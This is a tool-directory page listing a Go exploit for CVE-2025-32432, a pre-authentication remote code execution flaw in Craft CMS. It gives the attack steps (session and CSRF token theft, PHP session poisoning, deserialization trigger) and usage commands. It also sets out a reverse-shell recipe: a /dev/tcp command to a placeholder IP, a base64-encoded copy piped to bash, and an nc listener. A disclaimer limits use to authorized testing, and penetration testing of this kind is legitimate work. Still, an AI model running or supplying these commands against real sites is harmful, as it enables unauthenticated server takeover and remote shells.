Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32432 — Pre-auth RCE exploit for Craft CMS in Go. Grabs session/CSRF token, poisons PHP session, triggers deserialization for command execution or reverse shell. | Kitploit
Tools/GitHubGitHub/heltonpojo/cve-2025-32432
Authentication & AuthorizationPayload GenerationExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubheltonpojo/cve-2025-32432

CVE-2025-32432

Pre-auth RCE exploit for Craft CMS in Go. Grabs session/CSRF token, poisons PHP session, triggers deserialization for command execution or reverse shell.

View Repository
31 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-32432 — Craft CMS Pre-Auth RCE

Exploit for unauthenticated remote code execution in Craft CMS, written in Go.
Inspired by the original work of c0gnit00.

How it works

  1. Gets the PHP session and CSRF token via GET /admin/login
  2. Poisons the PHP session file by injecting PHP code into the query string
  3. Triggers deserialization via assets/generate-transform to include and execute the poisoned file

Usage

root@kitploit:~
go run main.go -u <url> -c <comando> 
FlagDescriptionRequired
-uTarget URL (e.g. http://target.com)Yes
-cCommand to execute (e.g. id, whoami)Yes

Example

root@kitploit:~
# Sem Asset ID (brute-force automático)
go run main.go -u http://target.com -c whoami

Reverse Shell

1. Generate the base64 payload with your IP and port:

root@kitploit:~
echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64

2. Open the listener:

root@kitploit:~
nc -lvnp 4444

3. Run the exploit with the payload:

root@kitploit:~
go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"

Replace the base64 value with the one generated in step 1 using your real IP.

Warning

For exclusive use in authorized environments and controlled security testing.

Download Tool